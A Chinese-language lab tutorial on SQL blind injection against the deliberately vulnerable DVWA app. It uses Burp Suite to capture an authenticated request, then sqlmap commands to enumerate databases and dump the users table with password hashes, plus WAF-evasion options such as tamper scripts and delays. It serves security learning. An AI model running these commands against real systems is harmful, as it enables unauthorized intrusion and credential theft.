DVWA靶场SQL盲注入实战:Burp抓包与Sqlmap自动化利用指南
1. 项目概述:为什么从Burp到Sqlmap是SQL盲注入门的黄金路径
如果你刚开始接触Web安全,尤其是想搞懂SQL注入,那么“DVWA靶场”和“SQL盲注”这两个词你一定不陌生。DVWA(Damn Vulnerable Web Application)是一个故意设计得漏洞百出的PHP/MySQL应用,是无数安全爱好者的“新手村”。而SQL盲注,则是注入攻击中更隐蔽、更考验耐心和技巧的一种。很多教程会教你手工构造Payload,一个字符一个字符地去“猜”,过程繁琐且容易出错。
今天我要分享的,是一条更高效、更贴近实战的路径:利用Burp Suite抓取和修改请求,然后交给自动化神器Sqlmap去完成爆破。这就像侦察兵(Burp)先摸清敌情、标定目标,再由炮兵(Sqlmap)进行精准火力覆盖。整个过程,你不仅能深刻理解HTTP请求、Cookie机制、注入原理,还能掌握两大核心工具(Burp和Sqlmap)的联动用法。更重要的是,我会重点讲解在DVWA这个特定环境下,如何正确设置Cookie这个关键参数——这是新手最容易栽跟头的地方,网上很多教程对此一笔带过,导致学习者卡在第一步无法前进。本教程将手把手带你避开所有坑,从环境配置到最终拿到数据库信息,实现一次完整的、可复现的实战通关。
2. 环境准备与核心工具解析
工欲善其事,必先利其器。在开始实战之前,我们需要搭建好实验环境并理解每个工具扮演的角色。这不是简单的安装软件,而是构建一个可控的、用于学习和测试的安全沙箱。
2.1 DVWA靶场:我们的漏洞实验室
DVWA靶场是我们所有操作的目标。我强烈建议你在本地搭建,而不是使用在线版本,因为本地环境更稳定,且可以随意调整安全等级、查看后端源代码,学习效果最好。
搭建步骤与要点:
- 集成环境选择:对于新手,最省事的方法是使用像XAMPP、PHPStudy这样的集成环境。它们一键安装了Apache、PHP、MySQL,避免了繁琐的配置。我以PHPStudy为例,因为它对中文环境更友好。
- 下载与部署:从DVWA官网或GitHub下载最新源码包。解压后,将整个
dvwa文件夹复制到PHPStudy的WWW根目录下(例如D:\phpstudy_pro\WWW\)。 - 配置文件修改:找到
dvwa/config/config.inc.php.dist文件,复制一份并重命名为config.inc.php。用文本编辑器打开,找到数据库配置部分:
将$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'p@ssw0rd'; // 修改为你的MySQL密码 $_DVWA[ 'db_port' ] = '3306';db_password修改为你本地MySQL的root密码(PHPStudy默认密码可能是root或空)。 - 数据库初始化:在浏览器中访问
http://localhost/dvwa/setup.php。页面会提示你点击“Create / Reset Database”按钮。点击后,DVWA会自动创建所需的数据库和表。如果遇到连接错误,请回头检查config.inc.php中的密码和127.0.0.1这个地址是否正确。 - 登录与安全等级设置:初始化成功后,使用默认账号
admin,密码password登录。进入后,务必在左侧“DVWA Security”页面中,将安全等级设置为“Low”。这是为了方便我们进行注入测试,在“Medium”或“High”等级下,会有更多的过滤和防护机制。
注意:很多人在数据库初始化环节失败,八成是数据库密码不对。PHPStudy的MySQL密码可能在安装时自定义过,务必使用你设置的那个密码,而不是想当然地用
root。
2.2 Burp Suite:流量拦截与操纵大师
Burp Suite是Web安全测试的瑞士军刀,我们这里主要用到它的**代理(Proxy)和重放(Repeater)**功能。社区版(免费)完全够用。
核心配置与避坑点:
- 启动与代理设置:启动Burp,在“Proxy” -> “Options”中,确保代理监听在
127.0.0.1:8080(默认)。记住这个地址和端口。 - 浏览器代理配置:这是关键一步。你必须让浏览器流量经过Burp。以Chrome为例,可以安装
SwitchyOmega这类插件,新建一个情景模式,配置HTTP和HTTPS代理为127.0.0.1:8080。更简单的方法是直接启动Burp内置的浏览器(Burp Suite Professional版功能),或通过系统设置配置全局代理。我个人的习惯是使用Burp内置浏览器,因为它自动配置好了证书和代理,省去很多麻烦。 - 安装CA证书:为了拦截和解密HTTPS流量,必须在浏览器中安装Burp的CA证书。在Burp中,访问
http://burp或http://127.0.0.1:8080,点击“CA Certificate”下载证书文件,然后在浏览器的证书管理器中导入并信任它。如果不做这一步,访问HTTPS网站会报安全错误,你什么也抓不到。 - 开始拦截:在Burp的“Proxy” -> “Intercept”标签页,确保“Intercept is on”按钮是按下状态。此时,你在浏览器中的所有请求都会被Burp暂停并显示出来。
实操心得:刚开始时,建议先访问一个普通HTTP网站(比如你刚搭建的本地DVWA,通常是HTTP),测试拦截是否成功。成功后再尝试HTTPS站点。如果遇到问题,首先检查代理地址端口是否一致,其次检查证书是否安装正确。
2.3 Sqlmap:自动化SQL注入攻击框架
Sqlmap是用Python写的开源工具,它能自动检测和利用SQL注入漏洞,支持多种数据库(MySQL, Oracle, PostgreSQL等),功能极其强大。我们用它来替代繁琐的手工盲注。
安装与验证:
- 安装:确保系统已安装Python(建议3.x版本)。通过pip安装是最简单的方式:
pip install sqlmap。也可以从GitHub克隆源码:git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git。 - 验证:打开命令行(Windows的CMD或PowerShell,Linux/Mac的Terminal),输入
sqlmap -h。如果能看到一长串帮助信息,说明安装成功。 - 基本概念:Sqlmap通过分析HTTP请求(GET/POST)来工作。你需要给它一个“攻击点”,通常是一个包含参数的URL。它会向这个点发送大量精心构造的Payload,通过分析响应差异(布尔盲注的时间差、内容差异等)来判断是否存在注入点并最终提取数据。
工具链关系梳理:Burp负责“抓”和“改”,它给我们提供一个真实的、带有会话状态(Cookie)的HTTP请求。Sqlmap负责“打”,它接收这个请求文件,自动化地执行注入攻击。我们的工作流程是:用浏览器和Burp正常操作DVWA,在疑似注入点拦截请求,将请求保存为文件,最后用Sqlmap加载这个文件进行攻击。
3. 实战流程拆解:捕获攻击请求
一切准备就绪,现在我们进入DVWA,开始模拟一次真实的漏洞发现与利用过程。我们的目标是DVWA的“SQL Injection (Blind)”模块。
3.1 定位漏洞点与正常交互
- 在DVWA左侧菜单点击“SQL Injection (Blind)”。你会看到一个简单的输入框,提示你输入User ID。
- 我们先进行一次正常查询,输入
1,点击“Submit”。页面会返回用户ID为1的用户名(通常是“admin”)。这个行为对应的HTTP请求,就是我们后续攻击的蓝本。 - 理解请求本质:此时查看浏览器地址栏,URL可能是
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#。这是一个典型的GET请求,参数id的值是1,Submit的值是Submit。我们的注入点就是id这个参数。
3.2 利用Burp Suite拦截关键请求
这是将手动测试转化为自动化攻击的桥梁步骤。
- 确保Burp的拦截(Intercept)处于开启状态。
- 回到DVWA的盲注页面,在输入框中不要直接输入数字,而是先输入一个测试Payload,例如
1'(数字1加一个单引号)。点击“Submit”。 - 此时,请求会被Burp Suite拦截。你会在Burp的“Intercept”标签页看到完整的HTTP请求报文。它大致长这样:
GET /dvwa/vulnerabilities/sqli_blind/?id=1%27&Submit=Submit HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0... Accept: text/html... Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7... Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=你的会话ID; security=low Upgrade-Insecure-Requests: 1 - 关键观察:
- 注入点:
GET请求行中的id=1%27。%27是单引号'的URL编码。这说明我们的输入被原样送到了服务器。 - Cookie:
Cookie头部的PHPSESSID和security是重中之重。PHPSESSID是维持你登录状态的会话标识,security=low告诉DVWA我们处于低安全等级。没有这个Cookie,Sqlmap发出的请求会被DVWA视为未登录的访客,直接重定向到登录页面,导致注入失败。这就是绝大多数新手卡住的原因:直接复制URL给Sqlmap,却漏掉了携带会话状态的Cookie。
- 注入点:
3.3 保存请求文件以供Sqlmap使用
我们不能让Burp一直拦截着,需要把这个请求保存下来。
- 在Burp的拦截界面,右键点击请求报文。
- 选择“Copy to file”(保存到文件)。将它保存为一个文本文件,例如
dvwa_blind_req.txt。 - 点击“Forward”放行这个请求,然后回到Burp,关闭拦截(点击“Intercept is on”使其变为“Intercept is off”)。
现在,你得到了一个包含完整HTTP请求(包括至关重要的Cookie头)的文本文件。这个文件就是Sqlmap发动攻击的“作战指令”。
4. Sqlmap自动化攻击详解与Cookie避坑指南
有了请求文件,主角Sqlmap就可以登场了。我们将从最基本的检测开始,逐步深入,直到拖取整个数据库。
4.1 基础注入检测与Cookie参数设置
打开命令行终端,切换到保存dvwa_blind_req.txt文件的目录。
第一个,也是最关键的命令:
sqlmap -r dvwa_blind_req.txt --batch-r dvwa_blind_req.txt:-r参数代表“request”,告诉Sqlmap从一个文件中读取HTTP请求。这是最省事的方法,因为文件里包含了URL、方法、参数、Cookie等所有信息。--batch:以“批处理”模式运行,所有交互式提问都选择默认答案。适合新手,避免在命令行中频繁选择“Y”或“N”。
执行过程解析:Sqlmap会开始工作:
- 解析请求:它读取文件,识别出注入参数
id。 - 指纹识别:它会尝试识别后端数据库类型、Web应用技术等。
- 注入测试:对
id参数使用各种Payload进行测试,判断是否存在注入点以及注入类型(布尔盲注、时间盲注等)。
如果一切顺利,几十秒后,你会看到类似下面的结果:
[INFO] testing 'Boolean-based blind - Parameter replace (original value)' [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' ... [INFO] the back-end DBMS is MySQL [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL 5.0 or later' [INFO] testing for SQL injection on the following parameter: #1* 'GET id' [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0 boolean-based blind' injectable这明确告诉我们:id参数存在基于布尔的盲注漏洞,后端数据库是MySQL 5.0或更高版本。
核心避坑点详解:为什么必须用
-r参数?很多教程会教你用-u参数直接指定URL,像这样:sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit”这样做十有八九会失败!原因如下:
- 丢失Cookie:
-u参数只传递URL,不会自动携带浏览器中的Cookie。而DVWA需要PHPSESSID和security这两个Cookie来验证会话和安全等级。没有它们,请求是未认证的。- 手动添加Cookie的麻烦与易错:你当然可以尝试用
--cookie=”PHPSESSID=xxx; security=low”来附加Cookie。但你需要从浏览器开发者工具或Burp中手动复制一长串、随时会过期的会话ID,非常麻烦且容易复制错误或过期。-r参数的优势:使用-r读取请求文件,Sqlmap会原封不动地使用文件中的所有HTTP头信息,包括正确且有效的Cookie。这是最可靠、最不容易出错的方式,完美模拟了你从浏览器发出的真实请求状态。结论:在测试需要身份认证的Web应用(如DVWA、各类后台系统)时,优先使用-r参数,这是最佳实践,能避开90%的“为什么Sqlmap检测不到注入”这类问题。
4.2 获取数据库信息
确认注入点存在后,我们就可以开始提取信息了。Sqlmap的命令是模块化的,可以一步步深入。
获取当前数据库名称:
sqlmap -r dvwa_blind_req.txt --current-db --batch--current-db:获取当前连接(即漏洞点所连接的)数据库的名称。- 执行后,Sqlmap会输出
current database: 'dvwa'。这正是我们DVWA应用使用的数据库。
获取所有数据库名:
sqlmap -r dvwa_blind_req.txt --dbs --batch--dbs:枚举数据库管理系统中的所有数据库。- 输出会包括
information_schema,mysql,dvwa等系统库和用户库。
获取当前数据库的所有表名:知道了数据库名dvwa,接下来看里面有什么表。
sqlmap -r dvwa_blind_req.txt -D dvwa --tables --batch-D dvwa:指定目标数据库为dvwa。--tables:枚举该数据库中的所有表。- 输出会显示
users,guestbook等表。显然,users表是我们最感兴趣的。
4.3 提取核心数据(用户表内容)
现在,让我们把users表里的数据“拖”出来。
获取表结构(字段名):
sqlmap -r dvwa_blind_req.txt -D dvwa -T users --columns --batch-T users:指定目标表为users。--columns:枚举该表的所有列(字段)及其数据类型。- 输出会显示类似
user_id (int),first_name (varchar),last_name (varchar),user (varchar),password (varchar),avatar (varchar)这样的字段信息。user和password字段是我们的终极目标。
最终,爆出表中的所有数据:
sqlmap -r dvwa_blind_req.txt -D dvwa -T users -C user,password --dump --batch-C user,password:指定要提取的列(字段)为user和password。你可以根据需要添加其他字段,如first_name。--dump:转储(导出)指定列的数据。- 执行这个命令后,Sqlmap会开始工作。由于是盲注,速度不会很快,请耐心等待。最终,你会看到清晰的表格输出,显示
admin、gordonb、1337、pablo、smithy等用户的用户名和经过MD5哈希加密的密码。
关于密码破解:Sqlmap非常贴心,在--dump数据的同时,如果发现密码是常见的哈希(如MD5),它会自动调用内置的字典进行破解。你可能会在输出中看到类似[INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'的信息。DVWA的默认密码password的MD5值就是上面这个,会被瞬间破解。
5. 高级技巧与深度参数解析
掌握了基本流程后,了解一些Sqlmap的高级参数和技巧,能让你的测试更高效、更隐蔽。
5.1 提升效率与规避检测的参数
1. 线程与延迟控制:
--threads=10:设置并发线程数,默认为1。提高线程数可以显著加快盲注速度,但设置过高可能对目标服务器造成过大压力或触发防护。对于本地测试的DVWA,可以设置为5-10。--delay=1:在每个HTTP请求之间设置延迟(秒)。在测试生产环境或需要隐蔽时,可以设置一个随机延迟来模拟人工操作,避免被WAF(Web应用防火墙)基于请求频率的规则拦截。
2. 风险等级与测试深度:
--level=3:测试等级(1-5)。等级越高,Sqlmap会使用更多、更复杂的Payload和测试技术。对于DVWA的简单漏洞,Level 1就够用。但对于有过滤的复杂场景,可能需要调高等级。--risk=2:风险等级(1-3)。风险越高,使用的Payload可能越具有“侵入性”,比如执行UPDATE或INSERT语句,可能导致数据变更。在授权测试中,除非明确知道后果,否则建议使用默认风险等级1。
3. 指定注入技术:
--technique=B:如果我们通过初步检测已经知道是布尔盲注(Boolean-based blind),可以用此参数指定只使用这种技术,避免浪费时间尝试其他无关的Payload,从而加快测试速度。
一个组合命令示例:为了提高对DVWA的测试速度,我们可以使用:
sqlmap -r dvwa_blind_req.txt --technique=B --threads=5 --batch5.2 处理复杂场景与编码问题
1. 处理POST请求:我们的例子是GET请求。如果遇到POST请求(比如一个登录框),-r参数同样完美适用。你只需要在Burp中拦截POST请求并保存为文件即可。Sqlmap能自动识别请求方法。
2. 自定义注入点标记:有时请求文件中有多个参数,但你只想测试其中一个。可以在保存的请求文件中,用*标记注入点。例如,在id=1的值1后面加上*,变成id=1*。然后Sqlmap就会只针对这个标记点进行测试。
3. 编码与混淆:一些应用会对输入进行过滤或编码。
--tamper:这是一个强大的参数,可以调用预定义的或自定义的“篡改脚本”,对Payload进行编码、混淆,以绕过简单的WAF或过滤规则。例如,--tamper=space2comment会将空格替换为/**/。Sqlmap内置了很多tamper脚本,位于其tamper/目录下。
5.3 结果保存与报告生成
测试完成后,保存结果很重要。
--output-dir=/path/to/save:指定一个目录,Sqlmap会将本次会话的所有数据(日志、目标文件、数据导出文件)保存到这里。- 默认情况下,Sqlmap会在用户目录下创建一个
.sqlmap/output/目录,按目标主机和端口存储每次的运行结果,非常清晰。
6. 常见问题排查与实战心得
即使按照教程操作,你也可能会遇到一些问题。这里我总结了一些常见的“坑”和解决方法。
6.1 Sqlmap检测不到注入点
这是最常见的问题,可能的原因和解决方案如下:
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
输出all tested parameters appear to be not injectable | 1. 目标参数确实不存在SQL注入漏洞。 2.Cookie失效或缺失,导致请求未认证。 3. 安全等级(如DVWA的 security)设置不正确。4. 网络问题或目标服务不可达。 | 1. 确认漏洞点(换其他参数或功能点测试)。 2.检查请求文件( -r)中的Cookie是否最新。重新登录DVWA,用Burp抓取新请求保存。这是最高频的解决方案。3. 确认DVWA安全等级为“Low”。 4. 用浏览器直接访问目标URL,确保服务正常。 |
Sqlmap很快结束,提示heuristic test shows that the target is protected by some WAF | 目标可能存在WAF或基础防护。 | 1. 对于DVWA,检查是否误将安全等级设为了“Medium”或“High”。 2. 尝试使用 --tamper参数(如space2comment)对Payload进行简单混淆。3. 增加 --random-agent参数,使用随机的User-Agent头。 |
| 请求被重定向到登录页面 | 会话Cookie无效或缺失。 | 绝对确保使用-r参数,并且请求文件是从已登录状态的Burp拦截中保存的。手动复制Cookie极易出错。 |
6.2 Burp与浏览器代理问题
- Burp抓不到包:检查浏览器代理设置是否指向
127.0.0.1:8080;检查Burp的Proxy监听是否开启;尝试关闭所有其他可能占用8080端口的软件(如某些虚拟机、其他代理工具);尝试使用Burp内置浏览器。 - HTTPS网站显示不安全:未正确安装Burp的CA证书到浏览器。务必从
http://burp下载证书,并导入到浏览器的“受信任的根证书颁发机构”存储中。
6.3 DVWA特定问题
- 数据库连接错误:在访问
setup.php时出现。99%的原因是config.inc.php中的数据库密码配置错误。请使用phpMyAdmin或命令行检查你的MySQL root密码。 - “Cookie ‘PHPSESSID’ is missing”或类似提示:这说明你的请求完全没有Cookie。请严格按照3.2和3.3的步骤,在已登录且Burp拦截开启的状态下,提交一次带Payload的请求并保存。
6.4 个人实操心得与建议
- 养成保存请求文件的习惯:对于任何需要认证的测试,第一时间用Burp抓包并
-r加载,这是最稳健的流程。 - 从简单到复杂:先在DVWA“Low”安全等级下练熟整个流程,理解每个参数的含义。然后再尝试“Medium”等级,此时需要用到
--tamper等参数绕过简单的过滤(比如mysql_real_escape_string函数)。 - 多看Sqlmap输出:不要只等最终结果。Sqlmap在运行时的实时输出信息量很大,包括它正在测试的Payload类型、响应的差异等。观察这些能帮你更好地理解盲注的原理和Sqlmap的工作逻辑。
- 伦理与法律边界:DVWA是合法的学习靶场。但请务必记住,在没有明确书面授权的情况下,对任何非你所有的系统进行渗透测试都是非法的。本教程传授的技术仅限用于安全学习、CTF比赛或对自有系统的授权评估。
- 组合工具,理解原理:Burp+Sqlmap是强大的组合,但不要成为“脚本小子”。在工具自动化的同时,要尝试理解其背后的原理:为什么这个Payload能触发布尔盲注?Cookie在会话管理中起什么作用?弄懂这些,你的能力才真正得到了提升。
通过这一套从Burp抓包到Sqlmap自动化利用的完整流程,你不仅成功通关了DVWA的SQL盲注关卡,更重要的是掌握了一套贴近实战的Web漏洞测试方法。这套方法的核心思想——通过代理工具捕获带状态的真实请求,再交由自动化工具进行深度测试——可以广泛应用于各类需要身份认证的Web应用安全评估中。记住,工具是手臂,思路才是大脑。
